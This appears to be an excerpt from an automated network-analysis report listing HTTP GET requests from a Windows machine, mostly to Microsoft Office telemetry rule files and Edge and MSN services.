Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AYA8VyyVmiyWvldTRU0qGaR4RUSL6-YrG6uKRsMPsRWu4uzTWsENQ0Oe4TwjJlNxU5Vx3wW0XCsKQHAJ2XkWCO0eQ7UF3N9B6xg6w6N4ZQ_ezL5_s1EfR63s25vMOuhpdI4AxlKa5cntVqVuAOGwNK_pRVduNn5fPIzZ/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1730938720&P2=404&P3=2&P4=YXoZKYhH6zmMaUU%2foyc%2fD%2fnyS4%2fh0iuv73JkV%2fzHB%2bg8tuiHVHG0CiEU6mstkozeARzpQUnIZkfiDWb%2fbfXi6Q%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: ZXdcjhl1IqClbq4CHZd/HnSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.47Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=29FAFED0AE7460922E52EBF9AFD56107&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=29ecb027a1f14530c8b874799e420445 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=29FAFED0AE7460922E52EBF9AFD56107; _EDGE_S=F=1&SID=1B36F6824F29691A04B5E3AB4ECD6890; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msG0Z.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB14D0jG.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
